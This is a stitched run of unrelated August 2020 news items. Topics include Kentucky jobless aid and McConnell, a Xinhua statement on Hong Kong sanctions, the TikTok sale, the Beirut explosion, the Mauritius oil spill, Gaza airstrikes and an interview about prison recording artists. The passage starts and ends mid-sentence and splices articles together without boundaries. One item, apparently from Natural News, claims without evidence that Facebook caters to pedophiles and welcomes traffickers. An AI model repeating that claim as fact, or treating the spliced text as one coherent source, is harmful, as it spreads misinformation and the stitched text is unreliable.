floors in Bowling Green and Louisville for months. But some of the communities hit hardest are in Kentucky's poorer, eastern region, where years of declines in demand for coal have collided with the coronavirus. In Pike and nearby Fayette counties, for example, coal operators owned by Rhino Energy laid off about 200 workers in July alone as the firm filed for Chapter 11 bankruptcy, local labor records show. "It's like some of the final blows for working miners in the region," said Wes Addington, the executive director of the Appalachian Law Center, which represents miners' health and safety interests. In the face of those financial difficulties, many Kentucky residents had counted on enhanced unemployment payments that offered them an additional $600 in weekly support. Congress authorized the aid program as part of the wide-ranging $2 trillion Cares Act that President Trump signed into law in late March. For residents such as Michael Holland, the additional federal aid offered a critical cushion. A contract industrial engineer by trade, the 59-year-old resident of Lexington had been wiring Amazon facilities and Toyota factories for years until the coronavirus crisis forced him off the job in February and into the ranks of the unemployed. "The $600 a week has been a lifeline," said Holland, 59, speaking of an enhanced federal benefit that expired last month. Local economists said federal stimulus programs have brought $120 million a week into Kentucky, sustaining not only the people who receive the checks, but also the shops, restaurants and businesses that otherwise aren't likely to see any commercial activity. But a chorus of Republicans, including McConnell, have argued that the $600 weekly aid payments were so high that they deter people from returning to work. McConnell ultimately declined to include that amount in the stimulus proposal he put forward, called the Heals Act. "Our view, which a majority of Americans share, is simply that it disincentivizes re-hiring and re-opening to pay people more to stay home," McConnell said in a floor speech Monday. Instead, the GOP proposal calls for a smaller sum, starting at about $200 a week. McConnell previously has said he is open to supporting a deal between congressional Democrats and the White House if it can obtain broad support. Over the weekend, Trump signed a policy directive that could offer out-of-work Americans an additional $400 each week, but it is unclear whether states including Kentucky can take advantage of the program. In the meantime, the lapse in unemployment payments has spawned a wave of criticism in McConnell's home state. "There are some people, I'm sure, that are bringing home more than they were making before the pandemic," Holland said. "But there's also those of us who's making a lot less. . . . What about those of us who need a job, and can't get a job, because the coronavirus is coming back?" Holland, an independent voter, said McConnell in particular had only left him "madder," adding: "Democrats and Republicans have made this a fricking political issue when it shouldn't be political, it ought to be what's best for the country." The dissatisfaction comes as McConnell, already the longest serving Senate Republican leader in history, seeks reelection and a seventh term. His democratic opponent, Amy McGrath, has sought to use the pandemic against him, but McConnell is not considered at risk of losing his seat. He has repeatedly framed the election in terms of whether Kentucky voters want to keep a congressional leader or take an inexperienced newcomer without the same clout. "As the only congressional leader not from New York or California, Sen. McConnell puts the needs of Kentucky first while Senate Democrats continue to hold another rescue package hostage," said Katharine Cooksey, a spokeswoman for his campaign. This summer, Kentucky's jobless rate unexpectedly appeared to improve dramatically, reaching a nation-leading low of 4.3%. As the state started to reopen, some companies even brought back workers who had been out of a job for months. But the gains have not been universal, and local economists said the figure masks a hard truth: The number of active participants in the labor force has fallen by about 5% since February, recent federal indicators show. In other words, fewer people in Kentucky are seeking new jobs, evincing a sense of resignation among workers in the middle of a public health crisis. In Pikeville, Ky., Michael Halligan said he has seen the extent of the economic need firsthand. So many families have lined up at the network of food banks he runs, called God's Pantry, that it took staff here about 12 hours during one weekend in April just to get meals to everyone. The demand has ebbed a bit, as Kentuckians have taken home additional federal aid, but the seven locations that Halligan oversees still distributed approximately 3.6 million pounds of food in July alone, he said. For him and other food security experts, it has raised critical, urgent questions about what might happen as the government's stimulus programs begin to run their course and people in Kentucky and across the country see their bank accounts dwindle even further. "You can speculate on the impact on the various programs and how that influenced the economy," he said. "Based on our historical knowledge, if economics tighten, food insecurity will increase." Halligan and a chorus of advocates recently urged McConnell and his staff in meetings to expand a low-income program known as SNAP to pay more benefits to workers, complimenting other coronavirus aid programs. They see the food-stamp benefits as a critical economic lifeline, helping not only families, but the grocery stores, farmers and other supply-chain companies that rely on those dollars. But the barrage of outreach, as recently as last week, has not immediately yielded much help for Kentucky's poorest, as the GOP leader's proposal eschewed a major boost to SNAP or other federal safety-net programs that help people in need afford food. The omission provoked widespread criticism in the Bluegrass State and around the country, though Halligan said he has confidence in McConnell and is not yet dismayed. "The elected officials, the legislative leaders in the House and Senate," he said, "they really understand what the needs of those who are hungry are." A coalition of housing advocates had taken similar pleas to McConnell in recent weeks, seeking support particularly for renters in a state where eviction protections are far from guaranteed. Approximately 200,000 households in Kentucky are at risk of losing their homes in the next four months, said Adrienne Bush, the executive director of the Homeless and Housing Coalition of Kentucky, but she fretted that her group's entreaties failed to result in much support from the GOP leader. "I'm not sure why he didn't listen to his constituents when we organized sign-on letters, we organized calls with his staff . . . we had another virtual lobby day on July 21," Bush said. "The response was, 'We'll take your concerns to the leader.'" For his part, McConnell has stressed that his efforts have provided other aid to needy Kentuckians. That includes new money proposed to help schools bring students back safely and assist health workers as they continue to confront a surge of coronavirus infections, including in Kentucky, where the pandemic recently has reached its more rural areas. McConnell for months held off on introducing his own Senate coronavirus relief bill, even as House Democrats passed their own, out of a belief that the federal government should spend the money it had already authorized before approving more. "I think the country needs one last boost," McConnell said during an appearance in Louisville last month, part of a summer, election-year swing through his home state. McConnell's proposal also includes long-sought liability protections for businesses wary that they may be sued if workers contract the virus. The idea is highly contested by Democrats, but it has won him favor among corporate leaders, including those in Kentucky, who had lobbied aggressively for a legal shield that might help them reopen without worry. "For us, that is a huge win, and that is a huge benefit," said Ashli Watts, the president of the Kentucky Chamber of Commerce. But other Kentucky businesses say they have struggled mightily to get the full range of aid they have sought. The hard-hit hospitality sector - still reeling in a pandemic that has made social gathering impossible - has labored for months to obtain McConnell's blessings for additional aid and tax breaks largely to no avail. Ouita Michel, 56, owns a network of restaurants across central Kentucky, including a po' boy shop in Lexington and a farm-to-table fine-dining spot in Midway. But her business hasn't been bustling lately, as public health restrictions have cut into her sales, which are down 72% compared with the same period last year, she said. Michel and her restaurant peers joined a coalition to lobby for federal help earlier this summer, repeatedly pleading with McConnell's local aides. Last week, the Independent Restaurant Coalition set its sights on Kentucky, where local chefs and distillers highlighted the economic peril they may face in the absence of help from Congress - and high-profile advocacy from McConnell. "If we don't get the kind of help we need . . . a town that had 100 restaurants now has 20, which means 80% of the hospitality jobs are gone," said Dan Wu, the owner of the fast-casual Atomic Ramen establishments in Lexington. "The tax revenue is down, and the whole city and state's economy is going to be down." Michel described the situation as a "tipping point" for McConnell among business owners and others throughout Kentucky. "He's in a position right now where he does need to listen very carefully to what constituents tell him," she said. Aerial photo taken on July 16, 2020 shows Victoria Harbor in Hong Kong, south China. (Xinhua/Lui Siu Wai) The U.S. side, in league with Hong Kong's opposition camp, challenged "one country, two systems" and the red line of national security in Hong Kong, plunging Hong Kong into prolonged disturbances, and they are the real destroyer of Hong Kong's democracy, freedom and high degree of autonomy, said the liaison office. The Liaison Office of the Central People's Government in the Hong Kong Special Administrative Region (HKSAR) said Sunday that the recent so-called U.S. sanctions against some Chinese officials will eventually become the laughingstock of the world. The hegemonic acts of the United States have drawn widespread, strong condemnation in Hong Kong and have been regarded as bullying and unreasonable by the mainstream public opinion, a spokesperson of the liaison office said in a statement, stressing that the Chinese people will not be intimidated and the so-called sanctions are nothing but a joke. Officials of central government agencies responsible for Hong Kong affairs and of the HKSAR exercise governance in Hong Kong according to the Constitution and the Basic Law, and they are staunch defenders of Hong Kong's overall interests and residents' well-being, the spokesperson said. It is truth-distorting and absurd for the United States to claim that the recent actions taken by China fundamentally undermine Hong Kong's autonomy and democratic process, the spokesperson said. The U.S. side, in league with Hong Kong's opposition camp, challenged "one country, two systems" and the red line of national security in Hong Kong, plunging Hong Kong into prolonged disturbances, the spokesperson said, calling them the real destroyer of Hong Kong's democracy, freedom and high degree of autonomy. The U.S. politicians who tried to use Hong Kong to make trouble for China and stop China from further developing are doomed to fail, the spokesperson said, adding that those colluding with foreign forces will eventually pay the price. Photo taken on June 12, 2020 shows the night view of Victoria Harbor in Hong Kong, south China. (Xinhua/Wang Shen) The United States, always declaring that it upholds democracy and freedom and respects human rights and privacy, recently imposed unreasonable restrictions over and cracked down upon Chinese telecom businesses on the pretext of "data security of U.S. citizens," and even intended to take away the assets of a Chinese tech firm by force and trickery, the spokesperson said. When interfering in Hong Kong affairs this time, the U.S. government showed its hypocrisy and blatantly disclosed home addresses and personal information of Chinese officials on the U.S. Treasury Department website, the spokesperson said. Such despicable acts infringing upon privacy have crossed the line politically and morally and only reveal its bullying and double standards more clearly to the world, the spokesperson said, adding the United States will have its moral bankruptcy at a faster pace. Microsoft Corp's bid to carve out parts of TikTok from its Chinese owner ByteDance will be a technically complex endeavor that could test the patience of President Donald Trump's administration, according to sources familiar with the setup. Trump has given Microsoft until Sept. 15 to put together a blueprint for an acquisition that safeguards the personal data of Americans stored on the short-video app, and he has issued an order to ban it if there is no deal by then. Microsoft is negotiating a transition period that will give it time to ringfence TikTok technologically from ByteDance after they agree to a deal, Reuters reported on Aug. 2. The clean break that Trump and lawmakers envision could take a year or more, some of the sources said. TikTok is functionally and technically similar to ByteDance-owned Douyin, which is available only in China, and shares technical resources with it and other ByteDance-owned properties, people familiar with the matter said. ByteDance started working on their technological separation several months ago amid scrutiny from the U.S. government, a source familiar with the process told Reuters. It began planning for a split as part of a strategy to shift its power from China, Reuters has reported. While the code for the app, which determines the look and feel of TikTok, has been separated from Douyin, the server code is still partially shared across other ByteDance products, the source said. The server code provides basic functionality of the apps such as data storage, algorithms for moderating and recommending content and the management of user profiles. To ensure uninterrupted TikTok service, Microsoft would likely need to rely on ByteDance's code while it reviews and revises the code, and moves to a new back-end infrastructure to serve users, according to cyber security expert Ryan Speers at River Loop Security, which provides services including cybersecurity due diligence for deals. Any continuing technical or operational reliance of the U.S. business on the Chinese company after the sale generally would have been unacceptable to the Committee on Foreign Investment in the United States (CFIUS), said Aimen Mir, former Deputy Assistant Secretary of the Treasury responsible for CFIUS, now a partner at the law firm Freshfields Bruckhaus Deringer. In the past, CFIUS has required adoption of increased protections pending a sale, including separation of the U.S. business from foreign sellers to the furthest extent possible, he said. Another challenge Microsoft faces is how it will transfer what is viewed as TikTok's secret sauce, the recommendation engine that keeps users glued to their screens. This engine, or algorithm, powers TikTok's "For You" page, which recommends the next video to watch based on an analysis of user behavior. TikTok uses recommendation algorithms that are independent from Douyin, according to two sources familiar with the matter. But what makes it tick is the content and user information that is fed into the algorithm. "Algorithms are not worth anything without the data," said Jim DuBois, a former Chief Information Officer at Microsoft. DuBois is a venture adviser at Ignition Partners. "Segmenting the data for those countries is a significant task." Microsoft's negotiations for the acquisition of the U.S., Canada, New Zealand and Australia operations of TikTok complicates a separation. Not only would TikTok have to be separated from ByteDance, it would have to be broken up from TikTok's other regions. This adds to the technical challenges because of the amount of data involved. "The biggest part is separating the user data - both content and data about users," DuBois said, noting hard disks of data would likely need to be transferred between ByteDance and Microsoft. The proposed timeline makes consummating a deal very challenging, said Karen C. Hermann, a deal lawyer at Venable LLP: "It can sometimes take months and months just to identify the business needs of the divested business, what IP and other assets it uses exclusively, and what assets and IP it shares with other businesses in the company group." Also read: Apple's refusal to list games from Facebook, Google and Microsoft on App Store infuriates tech giants The Tangara School for Girls is emerging as Sydney's latest COVID-19 hotspot, as a school in Parramatta will close for cleaning tomorrow. The cluster linked to the Catholic school in Cherrybrook in Sydney's Hills District grew to 17 on Tuesday as contact tracers zero in on a retreat attended by several students who were later diagnosed with COVID-19. Tangara School for Girls in Cherrybrook is closed due to COVID-19 infections. Credit:Edwina Pickles Parramatta Public School will be closed tomorrow after a student tested positive for coronavirus. A NSW Department of Education spokesperson confirmed Parramatta Public School would not be open for on-site learning on Wednesday, August 12. The month-long crisis in the Congress in Rajasthan has finally come to an end, for now. The crisis was triggered by Sachin Pilot and a set of rebel legislators seeking the removal of chief minister Ashok Gehlot; camping outside the state; defying the party; and exploring alternative political options to bring down their own partys government. In response, Mr Gehlot consolidated the remaining legislators and smaller allies who constitute a majority in his favour, and won the backing of the party high command, ensuring that his government would remain stable. Eventually, Mr Pilots loyalists began to get restless; Mr Pilot himself began to run out of options; and the Bharatiya Janata Partys own Rajasthan equations meant that the party was happy encouraging the rebellion, but could do so only from a distance. The fact that Mr Pilot kept channels open with Rahul and Priyanka Gandhi helped in finally enabling a face-saver for him, with the party setting up a high-powered committee to examine his grievances. The rebels have returned home to the Congress. The crisis has reinforced the trend of strong regional leaders in the Congress now running their independent operations, often successfully. This was a party that has been over-centralised, but as the central leadership has got weaker, the locus of power has shifted to the states. This was visible in Punjab in 2017, when Captain Amarinder Singh won the elections. And it has most clearly been visible in Rajasthan, where Mr Gehlot a rooted leader, with a substantial mass base and following within the party organisation held his own, fought the rebels, the Opposition and the governor and came out victorious. But while the Congress can breathe a sigh of relief at having saved its government and prevented a split, the crisis has shown, once again, the structural weaknesses of the party. It has factional feuds in almost every state. The ability of the central leadership in reconciling conflicts is limited. The leadership crisis at the top, and the sense of hopelessness about future prospects, is causing disillusionment among younger leaders who then are willing to switch ranks. The optics of an internal party battle at a time when the pandemic is raging was not good. While the Rajasthan crisis is resolved for now thanks to Mr Gehlots strength the party would do well to introspect about what caused it in the first place. Aizawl, Aug 11 : Mizoram's legislator ZR Thiamsanga proved nothing short of an angel for a pregnant woman amid a medical emergency, as he conducted a caesarean operation on her and helped deliver a healthy baby boy. Those who know the 62-year-old qualified doctor turned MLA would be hardly surprised, given the fact that he is known for his penchant for extending a helping hand to those in need in the past too. The Mizo National Front's lawmaker told IANS on Tuesday that both the 39-year-old woman and her newborn were doing fine. Thiamsanga said that during a visit to coronavirus-affected and quake-hit areas of remote Champhai district on Monday, he came to know that the pregnant woman was bleeding profusely and in a critical condition at the state's Champhai district hospital and rushed there. ""C Lalhmangaihsangi, pregnant with her second child, was bleeding profusely and her condition was critical. As there was no gynaecologist present at the hospital at that time, I performed an emergency caesarean operation and helped deliver a healthy baby boy," Thiamsanga told IANS over phone from Champhai, bordering Myanmar. The woman hailing from the remote Ngur village could not be move to Aizawl, about 200 km from Champhai, given her condition. "The lone gynaecologist posted at the Champhai hospital too was on leave," he explained. "Today, I inquired and hospital nurses told me that both the mother and the newborn are healthy and normal," the lawmaker said. Thiamsanga got his MBBS degree in 1985 and did his doctorate in Medicine in 1995 from the Regional Institute of Medical Science in Imphal in Manipur. He retired as head of department (Obstetrics and Gynaecology) at the Aizawl Civil Hospital in May 2018. Later, he was elected to the Assembly in November 2018 as MNF candidate. Thiamsanga, Vice-Chairman of the Health and Family Welfare Board, often advises people on health issues and treats people for any medical condition whenever he visits remote areas of Manipur, including his mountainous Champhai constituency. In June, he rushed to virtually inaccessible Champhai area to attend to some ailing security personnel guarding the India-Myanmar border, crossing a stream and walking for around 10 km in the mountainous jungle. (Sujit Chakraborty can be contacted at sujit.c@ians.in) Israeli warplanes launch fresh airstrike in Gaza Iran Press TV Monday, 10 August 2020 12:34 AM The Israeli military's warplanes have launched a fresh air raid against the positions of the Palestinian resistance movement Hamas in the northern parts of the besieged Gaza Strip. The latest attack was carried out on Sunday night after two small fires that started hours earlier in southern parts of the occupied territories due to explosive-laden balloons sent from Gaza. The Israeli military says the air raid which targeted a Hamas observation post was in response to the balloons, which it blames on the Palestinian resistance movement. The attack came a few hours after Israeli tanks fired shells at Hamas sites in the central parts of the besieged Gaza Strip. On Sunday afternoon, Israeli tanks fired several rockets toward positions belonging to Palestinian resistance movements in the eastern border area of Deir al-Balah City in central blockaded Gaza Strip, the Palestinian Information Center reported. The Israeli military claimed in a statement that the aggression displayed after an alleged shooting attack conducted from the blockaded enclave at Israeli troopers stationed in the vicinity of settlement of Kissufim. No injuries were reported in the Israeli aggression and the alleged shooting attack from Gaza. The Israeli regime every so often launches strikes against positions in the blockaded enclave, accusing the resistance groups there of launching rockets. Gaza has been under Israeli siege since June 2007, which has caused a decline in living standards. Israel has also launched three major wars against the enclave since 2008, killing thousands of Gazans each time and shattering the impoverished territory's already poor infrastructure. The crippling blockade has caused a decline in the standard of living as well as unprecedented levels of unemployment and unrelenting poverty in the Gaza Strip. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address (Newser) Facing a nightmare oil spill, people in Mauritius are cutting off their hair. Salons nationwide are offering free haircutsand some abroad are sending in fresh locksto help soak up roughly 2,500 tons of oil spilled by a Japanese tanker in late July, Gizmodo reports. Emergency volunteers are using the hair with old stockings, plastic bottles, and sugar cane leaves to make oil-containing booms. "Hair absorbs oil but not water," the founder of a Mauritius eco-tourism agency tells Reuters. "There's a big campaign around the island to get hair." Online videos show people sewing the booms together and floating them on the surface to gather oil, which can be sucked in with hoses. story continues below Scientists have long suggested using hair to clean oil spills, as Science Alert reported in 2017. "Hair is a natural biosorbent," said a lecturer at Masters at the University of Technology Sydney. "It's been shown to adsorb 3-9 times its weight in oil. Your hair gets oily and greasythe oil basically is stuck to the hair fibers. By a similar method, it would stick to other oils, such as crude oil." But the sight of fishermen and divers desperately trying to soak up an oil spill with human hair has some reporters cringing. Perhaps worse, the discovery of dead fish and oil-covered seabirds are signaling a possible ecological catastrophe. Prime Minister Pravind Jugnauth says the African nation is bracing itself for "a worst-case scenario." (And the leak may not be over.) Thunder guard Dennis Schroder has returned to the NBAs campus at Walt Disney World, a team spokesperson confirmed to Joe Mussatto of The Oklahoman on Tuesday. Schroder left Orlando over a week ago in order to be with his wife for the birth of their second child. Assuming Schroder tested negative for the coronavirus for each of the last seven days while away from the campus, the expectation is that hell have to quarantine for just four days now that hes back at Disney World. We dont know exactly when Schroder returned and began quarantining, so it remains to be seen whether hell be available to play in Oklahoma Citys final seeding game on Friday vs. the Clippers. At the very least, Schroder figures to miss Wednesdays game against Miami. If the veteran guard doesnt clear quarantine in time for Fridays game, the Thunder will plan to work him back into the rotation during the first game of the postseason next week, barring any quarantine- or testing-related complications. While he was away from the NBAs campus, Schroder was named a finalist for the NBAs Sixth Man of the Year award for 2019/20. He has enjoyed the best year of his career in OKC this season, averaging 18.9 PPG, 4.0 APG, and 3.7 RPG with career-best shooting percentages of 46.9% from the floor and 37.9% from beyond the arc. Chinese smartphone manufacturer Xiaomi will mark its 10th-anniversary celebration with the Mi 10 Ultra and Redmi K30 Ultra launch. The company has been teasing the launch of both devices, which will pack high-end specifications and features. Mi 10 Ultra Mi 10 Ultra will be Xiaomis flagship smartphone launching on August 10. There have been many rumours and leaks about the Mi 10 Ultra. Tipster Ishan Agarwal, with 91 Mobiles, leaked the RAM and storage configuration alongside the colour options of the Mi 10 Ultra. According to Agarwal, the premium Xiaomi smartphone will be released in 8 GB RAM + 128 GB, 8 GB RAM + 256 GB, 12 GB RAM + 256 GB and 16 GB RAM + 512 GB options. Mi 10 Ultra will come in three colour variants - Ceramic Black, Bright Silver, and Transparent. The smartphone is also expected to pack a 4,500 mAh battery, coupled with 120W fast charging and 55W wireless charging. Rumours also suggest that the Mi 10 Ultra will sport a 120Hz curved Full HD+ AMOLED display. Moreover, the camera system on the Mi 10 Ultra is likely to have support for up to 120x Zoom, beating the Samsung Galaxy S20 Ultra. The camera system is rumoured to feature a 108MP primary sensor, a 20MP ultrawide shooter, an 8MP telephoto lens, and a periscope module for the 120x zoom. Redmi K30 Ultra Xiaomi CEO and Chairman Lei Jun has confirmed that Redmi K30 Ultra will be based on Redmi K30 Pro but will have upgraded specs, reported GizmoChina. Redmi K30 Ultra is likely to sport a 6.67-inch AMOLED display with 120Hz refresh rate support. Leaked reports suggest that Redmi K30 Ultra will come in 6 GB + 128 GB, 8 GB + 128 GB, and 8 GB 512 GB storage configurations. Under the hood, Redmi K30 Ultra could pack a MediaTek Dimensity 1000+ chipset and a 4,400 mAh battery with 33W fast charging. The smartphone will also have a 64MP quad-camera setup and a 20MP front camera. Redmi K30 Ultra will come in three colours Black, White and Mint Green. DOVER, England Britain said on Tuesday it wanted greater flexibility to return illegal immigrants to France after a surge in the number embarking on the perilous journey across the English Channel. Hundreds of people, including some children, have been caught crossing to southern England from makeshift camps in northern France since Thursday - many navigating one of the worlds busiest shipping routes in overloaded rubber dinghies. British Prime Minister Boris Johnson says he wants to stop the illegal crossings and has sent Immigration Minister Chris Philp to Paris for talks with the French government. Britain says the EUs so-called Dublin Regulation, which currently governs the return of illegal immigrants, is too inflexible and has very tight timeframes. Junior health minister Edward Argar said Johnson wanted more flexibility. What hes looking at, quite rightly, is greater flexibility in returning people who have come here illegally and need to be returned back to France," Argar told Sky News. More than 20 migrants were escorted to Dover on Tuesday by the British border force. Many of the migrants seeking to reach Britain come from Afghanistan, Iraq, Iran, Syria and countries in Africa, fleeing poverty, persecution or war. Some stand a chance of being granted asylum, while others, considered illegal economic migrants, are unlikely to be allowed to remain in Britain. Organised crime groups offer to help the migrants cross the Channel for around 500 pounds ($650), the Sun newspaper reported, adding that some smugglers offer kids go free" deals. Britains interior ministry, known as the Home Office, declined repeated requests to supply data on the number of illegal crossings. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor BEIRUT The shattered city of Beirut on Tuesday marked a week since the catastrophic explosion that killed at least 171 people, injured thousands and plunged Lebanon into a deeper political crisis. Thousands of people marched near the devastated port, remembering those who died in the most destructive single blast to hit the country. They observed a minute of silence at 6:08 p.m. local time, the moment on Aug. 4 that thousands of tons of ammonium nitrate exploded in the citys port where it had been stored for more than six years, apparently with the knowledge of top political and security officials. At that moment Tuesday, church bells tolled and mosque loudspeakers recited a call to prayer. Hundreds marched through the streets of the hard-hit neighborhood of Gemayze carrying portraits of the dead before a candlelight vigil after dusk near the port. He knew, read a poster bearing President Michel Aouns picture. Aoun, in office since 2016, said Friday he was first told of the dangerous stockpile nearly three weeks ago and immediately ordered military and security agencies to do what was needed. But he suggested his responsibility ended there, saying he had no authority over the port. Im very furious, Im enraged, Im angry, Im sad. Im hopeless, said Anthony Semaan, in his 20s, who said he came to pay respects to the victims. Like others, he said the governments resignation makes no difference. First of all, there are questions that need to be answered. And second, there are other rats that need to be brought down first, and when they are brought down then maybe we can start thinking about the future, he added. Young people carried placards, each one printed with the names of one dead in a red and a green cedar, Lebanons national symbol, and sat on stairs in the Gemayze district, facing the port. Elsewhere in the city, burials of the dead continued. The explosion has fueled outrage against top political leaders and security agencies, and led to the resignation of the government on Monday. In the wake of the disaster, documents have come to light that show that top Lebanese officials knew about the existence of the stockpile in the heart of Beirut near residential areas, and did nothing about it. Aoun pledged to all Lebanese who are in pain that I will not be silent and will not rest until the facts are revealed. He tweeted that referring the case to the Supreme Judicial Council is only the first step. It still wasnt clear what caused the fire in a port warehouse that triggered the explosion of the chemicals, which created a shock wave so powerful it was felt as far away as the island of Cyprus, more than 200 kilometers (180 miles) across the Mediterranean. From one minute to the next, the world changed for people in Beirut, said Basma Tabaja, deputy head of the International Committee of the Red Crosss delegation in Lebanon. Outgoing Health Minister Hamad Hassan said the blast killed at least 171 people, with between 30 and 40 still missing. Of the injured, 1,500 needed special treatment while 120 remain in intensive care, he said. The explosion damaged thousands of apartments and offices in the capital and came amid an unprecedented economic and financial crisis facing the country since late last year. U.N. food agency head David Beasley, who said a day earlier he is very, very concerned Lebanon could run out of bread in about two and a half weeks, told The Associated Press that the World Food Program was looking at all options to make certain there is no interruptions in the food supply. Were looking at the port of Tripoli. Were looking at all other options, trucking food in, as well as shipping food in, flying food in, whatever it takes, Beasley said. Obviously, we want to get the port operating as quickly as possible because thats the cheapest way to feed the most people. Meanwhile, efforts to form a new government got underway a day after Prime Minister Hassan Diab resigned. His government, which was supported by the militant group Hezbollah and its allies, unraveled after the deadly blast, with three ministers announcing they were quitting. His government was formed after his predecessor, Saad Hariri, stepped down in October in response to anti-government demonstrations over endemic corruption. It took months of bickering among the leadership factions before they settled on Diab. Lebanese have demanded an independent Cabinet not backed by any of the political political parties they blame for the mess they are in. Many are also calling for an independent investigation into the port explosion, saying they had zero trust in a local probe. Lebanese officials have rejected an international investigation. The government, in the last decision it made before resigning, referred the case to the Supreme Judicial Council, Lebanons top judicial body, which handles crimes infringing on national security as well as political and state security crimes. The state-run National News Agency said that after the case was referred to the Supreme Judicial Council, state prosecutor Ghassan Oueidat will continue his work as a general judicial prosecutor. NNA said that the investigation will continue by the military police and state prosecution and charges will be later filed to the judicial investigator who is to be named by the outgoing minister of justice. The ammonium nitrate, a chemical used in fertilizers and explosives, originated from a cargo ship called MV Rhosus that had been traveling from the country of Georgia to Mozambique in 2013. It made an unscheduled detour to Beirut as the Russian shipowner was struggling with debts and hoped to earn some extra cash in Lebanon. Unable to pay port fees and reportedly leaking, the ship was impounded. Associated Press writers Bassem Mroue, Nadine Achoui-Lesage and Sarah El Deeb contributed. Reading, PA (19601) Today Turning out mostly cloudy and not as cold. There might be a rain or snow shower late.. Tonight Mostly cloudy with some rain and snow showers. Any rain will be early in the night. (Natural News) From coast to coast, Americans everywhere are rising up against pedophilia and human trafficking as part of a growing movement known as Save the Children. But a #savethechildren hashtag that had begun to go viral on social media has been banned from Facebook, which apparently now caters to pedophiles. The arrest and death of Jeffrey Epstein combined with continued circulating news about Hollywood child sex abuse has indeed sparked a wave of outrage that is spilling over into our streets as well as online. And Big Tech, which is presumably implicated, is now trying to put the worms back into the proverbial can with mass censorship. If you still use Facebook, check it out for yourself. You will see that the popular #savethechildren hashtag is no longer available on the platform, as Mark Zuckerbergs censors have completely removed it from showing up in searches. Consequently, Facebook users are no longer able to discover articles like the one linked below from WTOC in Georgia, where demonstrators marched from Johnson Square to City Hall in Savannah to show solidarity with the millions of children who are commercially trafficked and sexually exploited in America every single year. Exploitation of children is not something that happens only on private islands in the Caribbean, stated Dominic Box, the rallys organizer. Its something that takes place in our schools, in our churches, in our streets, and the reason why were bringing awareness today, the reason why we have this rally is because we feel like its an issue that hasnt gotten enough attention. Ironically, one survivor of child sex abuse who was in attendance said that parents need to be paying much closer attention to what their children are doing online, especially on social media. Human traffickers are all over platforms like Facebook, it turns out, and Facebook is happy to have them there as evidenced by its censorship of the #savethechildren hashtag. People need to speak up and share their stories, says Ashley Barras. If you were a survivor yourself, if you are a victim, if you have witnessed it, please speak up. We need people like you. This is something thats been going on for far too long and it needs to be brought to light. Why doesnt Facebook want you to know the truth about child sex predators and human trafficking? Speaking up becomes a whole lot more difficult when Facebook does not allow it, however. If child sex victims like Barras are unable to hashtag articles and other content with #savethechildren, then getting the word out about what is happening behind closed doors becomes an impossibility which is exactly what Facebook seems to want. We have yet to determine the rationale behind Facebooks ban of the #savethechildren hashtag because it is not technically official. We just happened to notice it when trying to identify content on Facebook that is linked to the movement, only to discover that all such content has essentially been blacklisted. Not to be confused with the Save the Children charity, which still has a presence on Facebook, #savethechildren is a grassroots effort to expose the dark underbelly of child sex abuse and trafficking in this country, which reaches the highest echelons of government and religion. Were mad [and] tired of people looking the other way, says Kayla Gitchel, who helped organize a Save the Children march in Redding, California. This has been brushed under the rug for way too long. Were here to make some noise. Were here to make people notice. Because its about time we stand up and do something for our children. More related news about Facebooks harboring of human traffickers and child sex abusers is available at Evil.news. Sources for this article include: WTOC.com NaturalNews.com KRCRtv.com Speech Of Arrested Development Is Committed To Recording Artists In Prison Arrested Development founder Speech is working towards promoting social justice and combating racial inequality through a commitment to recording incarcerated artists Guest post by Jeremy Young of Soundflys Flypaper If the name of the group Arrested Development feels like a throwback to the good ole days of 90s hip-hop, than youve probably been missing out on all of the essential music and community-building efforts that founding member Speech (Todd Thomas) has been putting out in recent years. Speechs commitment to social justice and exposing racial inequality in media can be seen and engaged with via his web docu-series, Hoodwinked (The Ni@#a Factory). He also works closely with The Kennedy Centers Turnaround Arts program to transform struggling schools nationwide with powerful arts education initiatives. And his continued work amplifying the voices of the voiceless behind bars is on full display and yet only the tip of the iceberg in the feature-length documentary, 16 Bars. I watched this film a few months ago, and was moved to tears. 16 Bars covers four talented individuals in the Richmond City Jail who are able to use a makeshift recording studio set up by the prison in collaboration with Speech, to record and produce their songs, and share their creativity with the outside world. The film also follows their life as it intertwines with and is inextricably affected by the prison itself. Ava Duvernays crucial documentary, 13TH, which masterfully connects the infrastructures and strategies of our modern prison industrial complex to the entire history of the American slave trade, and showcases the racist and colonialist means by which this system operates, came out four years ago. As I watched this new film, directed by Sam Bathrick, I was filled both with a sense of exhilaration in witnessing inmates express themselves in pure, powerful ways, and the hope of seeing change happen in real time, as well as a sense of dread that this system keeps failing these individuals. We keep failing them. In the documentary, Speech urges the viewer to think of our countrys prisoners as our community, because they are. In 2020, imprisoned individuals make up close to 0.8% of the United States total population. We need to reframe the ways in which we engage with this population, to empathize with prisoners, and listen to what they have to say. The film provides a start in that direction for us, and in return, I wanted to hear what Speech had to say. In this interview, youll get to hear tracks recorded by inmates during the making of 16 Bars, which have since been released as singles. Lastly, we at Soundfly will be offering a free digital screening of the film between August 11 13 for subscribers only, with an open discussion to follow on our community Slack forum. If youre interested to participate and benefit from unlimited access to all of Soundflys music courses and more, subscribe here and join Slack right away! Jeremy: What is the goal of the recording project in the Richmond City Justice Center, and does the program still exist today? Speech: The goal is to give residents (inmates) of the jail a productive outlet for their frustration and expression. And me coming in there with my team was to expose these talented and complex voices to the world. I didnt create the program; we were simply blessed to help bring more attention to it. Richmonds former Sheriff CT Woody and Sarah Scarborough started the program and once Woody was voted out, the program unfortunately stopped as well. Prisons have primarily left the corrections mission, and have become engaged in the business of disappearing members of our community. Theres a short scene in which youre seen calling your wife, Yolanda, on the first day after arriving at the prison. Youre expressing gratitude, nervousness, and a feeling that youve just been given access to a reality thats hidden from so many Americans. How else did this project in general enlighten you to things you werent expecting to see, hear, and feel? The sheer talent and degree of knowledge of the residents was a surprise to me. We all are conditioned to believe prisoners are less than, or deserving of inhumane treatment, deserving to be locked away; to be made invisible to society. We are also conditioned to believe they are incapable of critical thinking and thats why they are in jail. But all those positive attributes were there in high amounts, which only highlighted the atrocity of prisons in America. Prisons have primarily left the corrections mission, and have become engaged in the business of disappearing members of our community. + Read more on Flypaper: Thinking Inside the Box: 16 Bars Director Sam Bathrick on Producing in a Jail This project started in 2017, are you and the films producers keeping in touch with the participants of the program now? We have fortunately gotten the work out to the world and its being received well. The full soundtrack is on all streaming platforms and the movie is on YouTube, Amazon, etc. We all have kept in touch and even become intimately involved with all of the men of our documentary. Fans of the film have also 